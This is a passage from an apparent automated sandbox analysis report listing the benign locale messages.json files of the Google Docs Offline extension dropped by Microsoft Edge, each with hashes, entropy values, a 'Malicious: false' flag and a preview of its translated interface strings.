Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
